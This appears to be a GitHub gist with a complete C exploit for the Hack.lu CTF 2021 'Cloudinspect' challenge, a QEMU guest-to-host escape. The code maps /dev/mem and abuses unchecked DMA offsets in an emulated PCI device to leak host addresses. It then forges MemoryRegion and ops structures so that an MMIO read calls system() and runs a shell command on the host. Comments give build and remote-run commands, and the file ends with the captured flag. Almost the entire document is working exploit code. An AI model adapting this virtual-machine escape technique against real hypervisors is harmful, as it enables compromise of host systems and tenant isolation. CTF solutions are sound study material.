Last active
December 2, 2022 09:16
-
-
Save 00xc/1eeb927dbfb612eff9f261d3b8926e0a to your computer and use it in GitHub Desktop.
Hack.lu CTF 2021 - Cloudinspect exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Compile with: cc solve.c -Wall -Wextra -Wpedantic -O0 -static -ffreestanding -o solve | |
* Run locally with: { stat -c "%s" solve; sleep 1; cat solve; } | ./run_chall.sh | |
* Run remotely with: { stat -c "%s" solve; sleep 1; cat solve; } | nc flu.xxx 20065 | |
*/ | |
#include <assert.h> | |
#include <err.h> | |
#include <fcntl.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <stdint.h> | |
#include <sys/mman.h> | |
#include <linux/types.h> | |
#define DMA_SIZE 4096 | |
#define CLOUDINSPECT_MMIO_OFFSET_CMD 0x78 | |
#define CLOUDINSPECT_MMIO_OFFSET_SRC 0x80 | |
#define CLOUDINSPECT_MMIO_OFFSET_DST 0x88 | |
#define CLOUDINSPECT_MMIO_OFFSET_CNT 0x90 | |
#define CLOUDINSPECT_MMIO_OFFSET_TRIGGER 0x98 | |
#define CLOUDINSPECT_DMA_GET_VALUE 0x1 | |
#define CLOUDINSPECT_DMA_PUT_VALUE 0x2 | |
/* | |
* (gdb) print sizeof(PCIDevice) | |
* $1 = 2288 | |
*/ | |
#define PCIDEVICE_STRUCT_SIZE 2288 | |
#define DEV_ADDR 0xfeb00000 | |
#define MAP_SIZE 0xfffff | |
typedef uint64_t u64; | |
/* | |
* Replacement for MemoryRegionOps. | |
* (gdb) print sizeof(MemoryRegionOps) | |
* $2 = 80 | |
*/ | |
struct FakeRegionOps { | |
volatile void* read; | |
volatile void* write; | |
volatile unsigned char b[80 - 16]; | |
}; | |
/* | |
* Replacement for MemoryRegion. | |
* (gdb) print (int)&((MemoryRegion*)0)->ops | |
* $3 = 72 | |
* (gdb) print (int)&((MemoryRegion*)0)->opaque | |
* $4 = 80 | |
* (gdb) print sizeof(MemoryRegion) | |
* $5 = 240 | |
*/ | |
struct FakeRegion { | |
unsigned char p[72]; | |
const struct FakeRegionOps *ops; | |
void *opaque; | |
unsigned char b[240 - 16 - 72]; | |
}; | |
/* | |
* Taken from: | |
* https://github.com/kitctf/writeups/blob/2af257868242fafef4a204349d22227b62d9b8bb/hitb-gsec-2017/babyqemu/pwn.c | |
*/ | |
u64 virt2phys(volatile void* p) { | |
int fd; | |
u64 offset; | |
u64 virt = (u64)p; | |
u64 phys; | |
// Assert page alignment | |
assert((virt & 0xfff) == 0); | |
fd = open("/proc/self/pagemap", O_RDONLY); | |
if (fd == -1) | |
err(EXIT_FAILURE, "open"); | |
offset = (virt / 0x1000) * 8; | |
lseek(fd, offset, SEEK_SET); | |
if (read(fd, &phys, 8) != 8) | |
err(EXIT_FAILURE, "read"); | |
close(fd); | |
// Assert page present | |
assert(phys & (1ULL << 63)); | |
phys = (phys & ((1ULL << 54) - 1)) * 0x1000; | |
return phys; | |
} | |
void write_dst(volatile void* mem, u64 dst) { | |
*(u64*)((uintptr_t)mem + CLOUDINSPECT_MMIO_OFFSET_DST) = dst; | |
} | |
void write_src(volatile void* mem, u64 src) { | |
*(u64*)((uintptr_t)mem + CLOUDINSPECT_MMIO_OFFSET_SRC) = src; | |
} | |
void write_cmd(volatile void* mem, u64 cmd) { | |
*(u64*)((uintptr_t)mem + CLOUDINSPECT_MMIO_OFFSET_CMD) = cmd; | |
} | |
void write_cnt(volatile void* mem, u64 cnt) { | |
*(u64*)((uintptr_t)mem + CLOUDINSPECT_MMIO_OFFSET_CNT) = cnt; | |
} | |
void write_trigger(volatile void* mem) { | |
write_cmd(mem, CLOUDINSPECT_DMA_PUT_VALUE); | |
*(u64*)((uintptr_t)mem + CLOUDINSPECT_MMIO_OFFSET_TRIGGER) = 1; | |
} | |
u64 read_magic(volatile void* mem) { | |
return *(u64*)((uintptr_t)mem); | |
} | |
u64 read_dst(volatile void* mem) { | |
return *(u64*)((uintptr_t)mem + CLOUDINSPECT_MMIO_OFFSET_DST); | |
} | |
u64 read_src(volatile void* mem) { | |
return *(u64*)((uintptr_t)mem + CLOUDINSPECT_MMIO_OFFSET_SRC); | |
} | |
u64 read_cnt(volatile void* mem) { | |
return *(u64*)((uintptr_t)mem + CLOUDINSPECT_MMIO_OFFSET_CNT); | |
} | |
u64 read_trigger(volatile void* mem) { | |
u64 out; | |
write_cmd(mem, CLOUDINSPECT_DMA_GET_VALUE); | |
out = *(u64*)((uintptr_t)mem + CLOUDINSPECT_MMIO_OFFSET_TRIGGER); | |
if (!out) | |
warnx("read_trigger"); | |
return out; | |
} | |
volatile void* map_buf() { | |
volatile void* out; | |
out = mmap(NULL, DMA_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); | |
if (out == MAP_FAILED) | |
err(EXIT_FAILURE, "mmap"); | |
memset((void*)out, 0, DMA_SIZE); | |
return out; | |
} | |
void unmap_buf(volatile void* dma) { | |
munmap((void*)dma, DMA_SIZE); | |
} | |
void* map_device(int fd) { | |
void* mem; | |
mem = mmap(NULL, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, DEV_ADDR); | |
if (mem == MAP_FAILED) | |
err(EXIT_FAILURE, "mmap"); | |
printf("magic=%lx\n", read_magic(mem)); | |
return mem; | |
} | |
void unmap_device(volatile void* mem) { | |
munmap((void*)mem, MAP_SIZE); | |
} | |
static u64 leak = 0; | |
static u64 qemu_system = 0; | |
static u64 ops_addr = 0; | |
static u64 dma_buf_addr = 0; | |
static u64 cloudstate_addr = 0; | |
static u64 mmio_addr = 0; | |
void read_from_dma_buf(volatile void* mem, u64 local_phys, u64 size, u64 off) { | |
write_cnt(mem, size); | |
write_dst(mem, local_phys); | |
write_src(mem, off); | |
read_trigger(mem); | |
} | |
void write_to_dma_buf(volatile void* mem, u64 local_phys, u64 size, u64 off) { | |
write_cnt(mem, size); | |
write_dst(mem, off); | |
write_src(mem, local_phys); | |
write_trigger(mem); | |
} | |
void read_from_qemu(volatile void* mem, u64 remote, u64 local_phys, u64 size) { | |
u64 addr_ov; | |
addr_ov = (0xffffffffffffffff - dma_buf_addr) + remote + 1; | |
assert(remote == dma_buf_addr + addr_ov); | |
read_from_dma_buf(mem, local_phys, size, addr_ov); | |
} | |
void write_to_qemu(volatile void* mem, u64 remote, u64 local_phys, u64 size) { | |
u64 addr_ov; | |
addr_ov = (0xffffffffffffffff - dma_buf_addr) + remote + 1; | |
assert(remote == dma_buf_addr + addr_ov); | |
write_to_dma_buf(mem, local_phys, size, addr_ov); | |
} | |
void get_leaks(volatile void* mem) { | |
volatile void* buf; | |
u64 buf_phys; | |
buf = map_buf(); | |
buf_phys = virt2phys(buf); | |
read_from_dma_buf(mem, buf_phys, sizeof(u64), DMA_SIZE + (6 * 8)); | |
leak = *(volatile u64*)buf; | |
//qemu_system = leak - 0x3f5e40; | |
qemu_system = leak - 0x37b7b0; | |
//ops_addr = leak + 0x44d9e0; | |
ops_addr = leak + 0x663a10; | |
/* read &(state.mmio->opaque). opaque is located at offset 80 */ | |
read_from_dma_buf(mem, buf_phys, sizeof(u64), (u64)-((5 * 8) + (sizeof(struct FakeRegion) - 80))); | |
cloudstate_addr = *(volatile u64*)buf; | |
mmio_addr = cloudstate_addr + PCIDEVICE_STRUCT_SIZE; | |
dma_buf_addr = cloudstate_addr + PCIDEVICE_STRUCT_SIZE + sizeof(struct FakeRegion) + (5 * 8); | |
unmap_buf(buf); | |
} | |
void exploit(volatile void* mem) { | |
volatile struct FakeRegionOps* fake_ops; | |
volatile struct FakeRegion* fake_region; | |
char* shell; | |
printf("leak: 0x%lx\n", leak); | |
printf("cloudstate @ 0x%lx\n", cloudstate_addr); | |
printf("cloudstate.dma_buf @ 0x%lx\n", dma_buf_addr); | |
shell = map_buf(); | |
fake_ops = map_buf(); | |
fake_region = map_buf(); | |
/* Read mmio->ops and patch */ | |
read_from_qemu(mem, ops_addr, virt2phys(fake_ops), sizeof(struct FakeRegionOps)); | |
printf("old ops->read: 0x%lx\n", fake_ops->read); | |
fake_ops->read = (void*)qemu_system; | |
printf("new ops->read: 0x%lx\n", fake_ops->read); | |
printf("> Writing fake_ops to dma_buf\n"); | |
write_to_dma_buf(mem, virt2phys(fake_ops), sizeof(struct FakeRegionOps), 0); | |
printf("> Writing shell to dma_buf\n"); | |
strcpy(shell, "cat flag*"); | |
write_to_dma_buf(mem, virt2phys(shell), strlen(shell) + 1, sizeof(struct FakeRegionOps)); | |
/* We could also read at a negative offset from dma_buf instead of using the | |
* absolute address, but we're just cool like that */ | |
printf("> Reading mmio\n"); | |
read_from_qemu(mem, mmio_addr, virt2phys(fake_region), sizeof(struct FakeRegion)); | |
/* Patch the fields we're interested in */ | |
printf("old mmio->ops: %p\n", fake_region->ops); | |
printf("old mmio->opaque: %p\n", fake_region->opaque); | |
fake_region->ops = (void*)dma_buf_addr; | |
fake_region->opaque = (void*)(dma_buf_addr + sizeof(struct FakeRegionOps)); | |
printf("new mmio->ops: %p\n", fake_region->ops); | |
printf("new mmio->opaque: %p\n", fake_region->opaque); | |
/* Same as before: writing to a negative offset from dma_buf would also work */ | |
printf("> Writing fake mmio\n"); | |
write_to_qemu(mem, mmio_addr, virt2phys(fake_region), sizeof(struct FakeRegion)); | |
printf("> Triggering mmio read\n"); | |
read_trigger(mem); | |
} | |
int main() { | |
int fd; | |
volatile void* mem; | |
fd = open("/dev/mem", O_RDWR | O_SYNC); | |
if (fd < 0) | |
err(EXIT_FAILURE, "open"); | |
mem = map_device(fd); | |
get_leaks(mem); | |
exploit(mem); | |
unmap_device(mem); | |
close(fd); | |
/* flag{cloudinspect_inspects_your_cloud_0107} */ | |
return EXIT_SUCCESS; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment